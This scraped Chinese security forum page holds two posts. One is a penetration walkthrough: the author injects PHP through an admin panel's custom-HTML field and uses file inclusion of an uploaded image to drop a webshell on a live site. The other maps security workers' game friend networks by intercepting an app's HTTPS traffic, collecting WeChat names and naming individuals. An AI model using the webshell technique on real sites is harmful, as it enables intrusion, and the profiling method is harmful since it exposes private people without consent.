[转]后台拿shell过程

渗透实战分享你可以叫我风平 发表了文章 • 0 个评论 • 5 次浏览 • 19 小时前 • 来自相关话题

0x01   测试开始
        首先,后台界面是这样子滴





        我先去云悉对这个站做了一些简单识别,得到结果如下图





        大致猜测是由Linux + Apache + Mysql + Php搭配的。但是Apache没给我显示他的版本,不知道是否存在解析漏洞。于是回到了后台,去研究他的上传文件的功能。
        他的这个系统很多地方存在上传点,下图就是一个上传点





        他这里可以支持压缩包的格式并且自解压,于是我就想到将木马放到压缩包内然后上传这个压缩包,使其自解压,将木马成功上传到服务器。然后操作结束后,的确是上传成功了。然而人生就是那么大起大落,并没有成功的拿下shell,为毛呢,请看下面
        首先正常上传





        然后查看上传后的文件





        给我加了个txt.... 心想加了个txt就算了,我打开试试看能不能正常访问





        还是个403拒绝访问。于是我又测试了几个后缀的文件名,发现pdf和jpg等文档和图片类型是可以正常上传并且进行访问(pdf访问会自动下载)
 




        不要在意打码的内容,他的确是可以访问并且显示了代码。。只要脚本文件他就会自动在后面加上txt,于是放弃上传压缩包的方法,直接硬干上传点,试试看能不能运气爆棚碰巧就是一个解析漏洞.... 然后fuzz了许久,还是不行(就不写上传的过程了,没成功写了浪费时间~~)
        看样子他的上传是做了处理了,只能换思路了
 




        他这里支持自定义html,用来做搜索引擎优化,于是可以试着写入php代码来获取shell,补充一下php的几种定义写法
1.<? echo 1; ?>
2.<?php echo 2; ?>
3. <script language="php"> echo 3; </script>        第三种写法的标签是不是很熟悉。他不就是html中定义js代码的标签嘛~,那么可以试着用这段代码去试试,看能否被正常写入进去。
        然后我就在自定义代码去写上了下面的代码,保存进去
<script language="php"> phpinfo();</script>        然后打开网站的首页





        发现还是原网页,没有丁点的改变...... 。这个时候查看一下源代码





        的的确确的代码是被写进去了,那么刷新一下试试





        ok,是正常的,然后执行phpinfo的代码也已经不见了,已经当作php执行了





        那么这个时候,构造一下一句话木马,然后进行连接操作。





 
0x02   文件包含getshell
        在前面有说到,他这个站有许多上传点,我随便找了一个上传点,上传了一个图片格式的大马,大马的代码如下:
<?php$test='大马代码';//访问这个文件大马的代码将被写入网站的根目录
2.php下 (路径phpinfo得到)file_put_contents("/home/www/webdata/epage/2.php",
$test);        然后通过一样的步骤用下面的代码
<script language="php">include '../ezfiles/2/1002/img/92/123.jpg';
//上传的图片地址</script>        然后点击修改进行保存,在回到网页去刷新,然后在域名后面加上2.php去测试是否成功生成了这个文件成功getshell~ 
  查看全部
0x01   测试开始
        首先,后台界面是这样子滴

1.jpg

        我先去云悉对这个站做了一些简单识别,得到结果如下图

2.jpg

        大致猜测是由Linux + Apache + Mysql + Php搭配的。但是Apache没给我显示他的版本,不知道是否存在解析漏洞。于是回到了后台,去研究他的上传文件的功能。
        他的这个系统很多地方存在上传点,下图就是一个上传点

3.jpg

        他这里可以支持压缩包的格式并且自解压,于是我就想到将木马放到压缩包内然后上传这个压缩包,使其自解压,将木马成功上传到服务器。然后操作结束后,的确是上传成功了。然而人生就是那么大起大落,并没有成功的拿下shell,为毛呢,请看下面
        首先正常上传

4.jpg

        然后查看上传后的文件

5.jpg

        给我加了个txt.... 心想加了个txt就算了,我打开试试看能不能正常访问

6.jpg

        还是个403拒绝访问。于是我又测试了几个后缀的文件名,发现pdf和jpg等文档和图片类型是可以正常上传并且进行访问(pdf访问会自动下载)
 
7.jpg

        不要在意打码的内容,他的确是可以访问并且显示了代码。。只要脚本文件他就会自动在后面加上txt,于是放弃上传压缩包的方法,直接硬干上传点,试试看能不能运气爆棚碰巧就是一个解析漏洞.... 然后fuzz了许久,还是不行(就不写上传的过程了,没成功写了浪费时间~~)
        看样子他的上传是做了处理了,只能换思路了
 
8.jpg

        他这里支持自定义html,用来做搜索引擎优化,于是可以试着写入php代码来获取shell,补充一下php的几种定义写法
1.<? echo 1; ?> 
2.<?php echo 2; ?>
3. <script language="php"> echo 3; </script>
        第三种写法的标签是不是很熟悉。他不就是html中定义js代码的标签嘛~,那么可以试着用这段代码去试试,看能否被正常写入进去。
        然后我就在自定义代码去写上了下面的代码,保存进去
<script language="php"> phpinfo();</script>
        然后打开网站的首页

9.jpg

        发现还是原网页,没有丁点的改变...... 。这个时候查看一下源代码

10.jpg

        的的确确的代码是被写进去了,那么刷新一下试试

11.jpg

        ok,是正常的,然后执行phpinfo的代码也已经不见了,已经当作php执行了

12.jpg

        那么这个时候,构造一下一句话木马,然后进行连接操作。

13.png

 
0x02   文件包含getshell
        在前面有说到,他这个站有许多上传点,我随便找了一个上传点,上传了一个图片格式的大马,大马的代码如下:
<?php$test='大马代码';//访问这个文件大马的代码将被写入网站的根目录
2.php下 (路径phpinfo得到)file_put_contents("/home/www/webdata/epage/2.php",
$test);
        然后通过一样的步骤用下面的代码
<script language="php">include '../ezfiles/2/1002/img/92/123.jpg';
//上传的图片地址</script>
        然后点击修改进行保存,在回到网页去刷新,然后在域名后面加上2.php去测试是否成功生成了这个文件成功getshell~ 
 

数据分析与可视化:谁是安全圈的吃鸡第一人

Web安全渗透fireant 发表了文章 • 0 个评论 • 17 次浏览 • 1 天前 • 来自相关话题

*本文原创作者:Omegogogo
各位大佬看看自己上榜了没
 0×00 前言 
放假和小伙伴们打了几把PUBG,大半年没碰,居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多,之前也会和一些安全圈的大佬一起玩,经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹(纪念号被封的第193天)。
那么这些黑阔大佬们,在不开挂的情况下,谁会是他们之中技术最好的呢?带着这样的疑问,试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。


注:全文所指的“安全圈”是一个非常狭义的概念,在本文中仅覆盖到小部分安全从业者玩家,所以标题有些夸大。如有其他错误也欢迎指出。 


0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏,他们的ID又是什么呢?
在一些APP里可以查到玩家的战绩,其中比较有价值的是,还能看到每位玩家的好友列表。
那么可以有这么个思路,也就是一个广度优先遍历:


1.确定一个初始的ID链表,并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J,同时也是链表内另外两位黑客的共同好友,那么认为J也是安全圈内人士,加入到链表尾处。
4.向后迭代重复2、3。


动手实现
发现走的是https,挂上证书以MITM的方式来监听https流量:

可以发现数据是以json格式传递的,写个python脚本来自动完成获取数据,单线程+限速(一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制)。
脚本主要代码是:
 def r_get(nickname,offset):
#发送给api的request
...

return json#返回一个json格式

def get_friends(nickname):

offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends =
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)

sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1

def record_rds(sql):
#db操作

def main():
...
 笔者先确定一份初始安全圈列表,包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作,或是笔者信安专业的同学,或ID明显带有安全的特征(PwnDog),总之都是比较确信的安全圈人士。
以这些人为初始列表,很快就有几位玩家被划定为安全圈人士。

 
在遍历到大约第50来位的时候也看到了自己的游戏昵称:Omego555(正是刚才提到开挂带妹被封的账号)    

遍历到“wilson233”时发现直接跳过了,并没有被纳入到安全圈列表中,但笔者读过wilson写下的很多优质文章,他也是某甲方公司的安全从业者。

 
(该ID在后来的某次遍历中也被纳入了列表中,程序表现出一定的健壮性。 )
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快,在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试,并不需要太大规模的数据集。观察数据集
初步观察数据集,发现很多有意思的事情:比如在遍历到第300多位玩家的时候,发现了一个ID带得有“pkav”字样的玩家”PKAV-xiaoL“(pkav是原来在乌云很有名气的安全组织,其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者,笔者也是受到这篇文章的启发才打算做这个小项目)。
随着PKAV-xiaoL被确定到安全圈列表中,由于社交关系,更多的pkav成员也被添加进列表中。

 
除了pkav-xxx,还看到了一些很眼熟的ID:比如【SparkZheng】—正是多个ios越狱的作者蒸米大大

 
比如【ma7h1as】,笔者大学时的队友,现玄武实验室大佬,多个Google/MS CVE获得者,超级大黑客

 
再来看这位,从游戏昵称看不出是谁,但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。

 
当然还有一些活跃在安全论坛,或者笔者有读过的一些高质量技术文章的作者的ID,眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等,这里不再一一列举。
除此之外还有一些玩家,比如这位:


笔者既不认识他,也从未在安全论坛见过他的ID,只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗?
试着搜索一下:
找到了他的GitHub,并在
 
其中发现了很多你懂的东西,很有趣对吧? 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家,但是除了这些眼熟和有迹可循的ID,列表里躺着的绝大多数都是笔者没见过,陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看:

 
圆上的每个红点代表一位玩家,无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点,他们互相组成了共计14216次好友关系,形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系,虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些,但好友关系是双向的,因此这里用无向图。代码如下:
 # -*- coding: UTF-8-*-  
from pyecharts import Graph

import json

import sys

import sqlite3

conn = sqlite3.connect('db2.db')

c = conn.cursor()

print "Opened database successfully";

cursor = c.execute("SELECT nickname,friends FROM player")

nodes =

links =

temps =

for row in cursor:

temps.append({"name":row[0],"friends":row[1].split(",")})

nodes.append({"name":row[0],"symbolSize":5})

for temp in temps:

for friend in temp["friends"]:

if {"name":friend,"symbolSize":5} in nodes:

links.append({"source":temp["name"],"target":friend})

graph = Graph("力导图",width=1400,height=1600)

graph.add(

"",

nodes,

links,

graph_layout = "force",

label_pos="right",

graph_repulsion=10,

line_curve=0.2,

)

graph.render() 
 
得到:

 
俗话说“物以类聚人以群分”,在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的,比如在最左下角的这个部分,这个小社区处于安全圈的边缘地带,很有可能不是安全从业者,我们放大来看:

 
这个“五边形”是一个完全子图。在这个小社区中,五个人都互为好友,也被称作“派系(Clique)”,这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家:

 
如果我们把上面最大的部分看做是安全圈的话,这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置,这样的节点具有较高的“中介中心性(Betweenness Centrality)”,往往具有不可替代的作用。在现实中类似房屋中介一样,买房者与卖房者之间的联系都得靠他。
除了中介中心性,在图论中节点还有另外两个重要性质:度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多,这个节点的度中心性就越高,也就是好友越多,度中心性越高,很可能是具有较高名望的人,比如微博的大V,意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标,一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢:

 
确实看到一些眼熟的ID,但由于我们前面寻找安全圈的算法并不准确,在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者,那么很可能会把这份数据集带入到“二次元圈”。为了尽量避免这种情况,我们使用一些社区发现算法来完成社区的寻找与分割。


社区发现算法用来发现网络中的社区结构,多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区,从而帮助我们把安全圈和其他圈子的人分割开来。



 
常见的社区发现算法有:Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试,但NetworkX本身只是算法工具,并不具备可视化功能,而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法,也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局:

 
fast-unfolding:

 
除此之外Gephi还支持GN算法,但内存要求较高,有兴趣的同学可以尝试下其他算法。
经过30000余次迭代,最终得到了19个社区,用图像来表示是这样的:

 
在社区发现算法中社区的数目和大小通常是不可知的,一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的,不像微博的关注/粉丝的机制能较准确地找出图的连通性,所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后,最终选择了一个样本数量为1125的社区,覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后,决定使用这份数据集来做后续的战绩分析。
 
 0×03 战绩爬取和分析谁是安全圈的吃鸡第一人
拿到了要进行战绩数据采集的玩家名单后,我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平,才能有指向性的进行数据采集。笔者最终选取了数个指标,分别是:


1.历史最高Rank,即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害


笔者还决定采集一些有趣的指标,能反映玩家的游戏习惯:


1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长


爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位,达到惊人的17次,85%的前10率。
这一指标在安全圈的平均值是6.33。
 
单独看看吃鸡情况:

 
在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家,达到了可怕的10次,近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位,达到了8次。
而这一数值的平均值仅才0.71,两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式,而【qingfenggod】则大部分是在排位中获得的,可以说是非常惊人的胜率了。
在KDA和伤害方面:

 
可以看到大部分玩家都集中在左下半部分,可以认为正常玩家都在这一点簇群内, 即KDA<2,伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的:


KD:8.4
伤害:1099.57


是第二名的近两倍,是平均值的近10倍!!!!直接来到了散点图的云端之上,这可是击杀与死亡比啊,如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】,这一数据仅为:


KD:3.7
伤害:461.18


排位第8位。
思考:其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景,对于这种密度相差很大的簇群,可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类,并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
笔者更感兴趣的是吃鸡和枪法的关系,一个人的枪法越好,越容易吃鸡吗?吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗?
对于枪法这一表征,直接使用KD和damage来代替,再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析,计算Pearson系数:

 
光从相关系数看,枪法和吃鸡虽然是正相关,但并不是呈现出非常强的相关性,顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了,可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十,则和个人枪法没什么太大关系了,反而和移动距离关系较大。
换句话说,如果只是想冲进前十,乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话,那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢,我们同样遍历了1125位玩家的这一指标:

 
(注:官方API的提示中写到,由于官方服务器问题,一些玩家的这一数据可能丢失或者有误)
取四人TPP的排位情况,前三位分别是:


Salmonnnnn:4094.7144
syzhou:3906.409
ph4nt0mer:3609.1436


通过观察好友关系,笔者相信他们与安全圈关系密切(大家也可以搜索一下这些ID)。
写到这里,“谁是安全圈的吃鸡第一人?”这一问题已经差不多给出了答案。玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作,基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家,以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀,来推测一下该玩家的游戏习惯,刻画出这位玩家的游戏风格。
从武器使用情况来看:
 

 
sanmao2054最钟爱步枪,最常使用的是M416和AK47这两把万精油老款自动步枪,两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面:
sanmao2054偏爱SKS这种连发狙击步枪,击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用,两把枪使用次数加起来也不过29次。
总体来看,这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面:
最爱的当属UMP,而vector紧随其后,达到44次击杀。要知道热爱vector的玩家并不多,所以这可以算是这位玩家较明显的特点。
其他:
空投枪的使用次数并不多,看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家,但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次,这是个非常亮眼的数据。
从击杀距离来看:
 
平均击杀距离排在第一位的自然是狙中之王,精准度最强劲的AWM,达到了120多米。
排在第二的则是这位玩家最爱的SKS,达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪,平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战,热爱刚枪,对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米,使用的却是SKS这一款连狙步枪,也从侧面印证此人刚枪的风格。
从平均击杀时间点来看:

 
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪,DP28等武器,在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是,这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出,他比较倾向于在最后使用手雷来打扫战场,快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是:
先跳伞到人多的区域,随意捡起一两把武器(甚至是手枪)就开始干架,成功击杀对手后就寻找ak/m4等自动步枪过渡到中期,会留雷到后期来结束战斗,在少数情况下后期也会去考虑空投枪。
用一些关键词来描述sanmao2054可能会是:【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文:

 
0×04 最后
本文仅是一个For fun的周末项目,涉及的数据有限。在真正的网络攻防实践中,数据挖掘和分析能为安全工程师带来更多的便利,特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作,身边搞数据分析的人较少,所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-)有周末组排缺菜鸡队友的也欢迎戳我。 查看全部
*本文原创作者:Omegogogo
各位大佬看看自己上榜了没
 0×00 前言 
放假和小伙伴们打了几把PUBG,大半年没碰,居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多,之前也会和一些安全圈的大佬一起玩,经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹(纪念号被封的第193天)。
那么这些黑阔大佬们,在不开挂的情况下,谁会是他们之中技术最好的呢?带着这样的疑问,试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。



注:全文所指的“安全圈”是一个非常狭义的概念,在本文中仅覆盖到小部分安全从业者玩家,所以标题有些夸大。如有其他错误也欢迎指出。 



0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏,他们的ID又是什么呢?
在一些APP里可以查到玩家的战绩,其中比较有价值的是,还能看到每位玩家的好友列表。
那么可以有这么个思路,也就是一个广度优先遍历:



1.确定一个初始的ID链表,并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J,同时也是链表内另外两位黑客的共同好友,那么认为J也是安全圈内人士,加入到链表尾处。
4.向后迭代重复2、3。



动手实现
发现走的是https,挂上证书以MITM的方式来监听https流量:

可以发现数据是以json格式传递的,写个python脚本来自动完成获取数据,单线程+限速(一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制)。
脚本主要代码是:
 
def r_get(nickname,offset):
#发送给api的request
...

return json#返回一个json格式

def get_friends(nickname):

offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends =
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)

sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1

def record_rds(sql):
#db操作

def main():
...

 笔者先确定一份初始安全圈列表,包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作,或是笔者信安专业的同学,或ID明显带有安全的特征(PwnDog),总之都是比较确信的安全圈人士。
以这些人为初始列表,很快就有几位玩家被划定为安全圈人士。

 
在遍历到大约第50来位的时候也看到了自己的游戏昵称:Omego555(正是刚才提到开挂带妹被封的账号)    

遍历到“wilson233”时发现直接跳过了,并没有被纳入到安全圈列表中,但笔者读过wilson写下的很多优质文章,他也是某甲方公司的安全从业者。

 
(该ID在后来的某次遍历中也被纳入了列表中,程序表现出一定的健壮性。 )
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快,在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试,并不需要太大规模的数据集。观察数据集
初步观察数据集,发现很多有意思的事情:比如在遍历到第300多位玩家的时候,发现了一个ID带得有“pkav”字样的玩家”PKAV-xiaoL“(pkav是原来在乌云很有名气的安全组织,其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者,笔者也是受到这篇文章的启发才打算做这个小项目)。
随着PKAV-xiaoL被确定到安全圈列表中,由于社交关系,更多的pkav成员也被添加进列表中。

 
除了pkav-xxx,还看到了一些很眼熟的ID:比如【SparkZheng】—正是多个ios越狱的作者蒸米大大

 
比如【ma7h1as】,笔者大学时的队友,现玄武实验室大佬,多个Google/MS CVE获得者,超级大黑客

 
再来看这位,从游戏昵称看不出是谁,但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。

 
当然还有一些活跃在安全论坛,或者笔者有读过的一些高质量技术文章的作者的ID,眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等,这里不再一一列举。
除此之外还有一些玩家,比如这位:


笔者既不认识他,也从未在安全论坛见过他的ID,只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗?
试着搜索一下:
找到了他的GitHub,并在
 
其中发现了很多你懂的东西,很有趣对吧? 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家,但是除了这些眼熟和有迹可循的ID,列表里躺着的绝大多数都是笔者没见过,陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看:

 
圆上的每个红点代表一位玩家,无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点,他们互相组成了共计14216次好友关系,形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系,虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些,但好友关系是双向的,因此这里用无向图。代码如下:
 
# -*- coding: UTF-8-*-  
from pyecharts import Graph

import json

import sys

import sqlite3

conn = sqlite3.connect('db2.db')

c = conn.cursor()

print "Opened database successfully";

cursor = c.execute("SELECT nickname,friends FROM player")

nodes =

links =

temps =

for row in cursor:

temps.append({"name":row[0],"friends":row[1].split(",")})

nodes.append({"name":row[0],"symbolSize":5})

for temp in temps:

for friend in temp["friends"]:

if {"name":friend,"symbolSize":5} in nodes:

links.append({"source":temp["name"],"target":friend})

graph = Graph("力导图",width=1400,height=1600)

graph.add(

"",

nodes,

links,

graph_layout = "force",

label_pos="right",

graph_repulsion=10,

line_curve=0.2,

)

graph.render()
 
 
得到:

 
俗话说“物以类聚人以群分”,在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的,比如在最左下角的这个部分,这个小社区处于安全圈的边缘地带,很有可能不是安全从业者,我们放大来看:

 
这个“五边形”是一个完全子图。在这个小社区中,五个人都互为好友,也被称作“派系(Clique)”,这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家:

 
如果我们把上面最大的部分看做是安全圈的话,这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置,这样的节点具有较高的“中介中心性(Betweenness Centrality)”,往往具有不可替代的作用。在现实中类似房屋中介一样,买房者与卖房者之间的联系都得靠他。
除了中介中心性,在图论中节点还有另外两个重要性质:度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多,这个节点的度中心性就越高,也就是好友越多,度中心性越高,很可能是具有较高名望的人,比如微博的大V,意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标,一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢:

 
确实看到一些眼熟的ID,但由于我们前面寻找安全圈的算法并不准确,在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者,那么很可能会把这份数据集带入到“二次元圈”。为了尽量避免这种情况,我们使用一些社区发现算法来完成社区的寻找与分割。



社区发现算法用来发现网络中的社区结构,多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区,从而帮助我们把安全圈和其他圈子的人分割开来。




 
常见的社区发现算法有:Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试,但NetworkX本身只是算法工具,并不具备可视化功能,而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法,也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局:

 
fast-unfolding:

 
除此之外Gephi还支持GN算法,但内存要求较高,有兴趣的同学可以尝试下其他算法。
经过30000余次迭代,最终得到了19个社区,用图像来表示是这样的:

 
在社区发现算法中社区的数目和大小通常是不可知的,一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的,不像微博的关注/粉丝的机制能较准确地找出图的连通性,所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后,最终选择了一个样本数量为1125的社区,覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后,决定使用这份数据集来做后续的战绩分析。
 
 0×03 战绩爬取和分析谁是安全圈的吃鸡第一人
拿到了要进行战绩数据采集的玩家名单后,我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平,才能有指向性的进行数据采集。笔者最终选取了数个指标,分别是:



1.历史最高Rank,即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害



笔者还决定采集一些有趣的指标,能反映玩家的游戏习惯:



1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长



爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位,达到惊人的17次,85%的前10率。
这一指标在安全圈的平均值是6.33。
 
单独看看吃鸡情况:

 
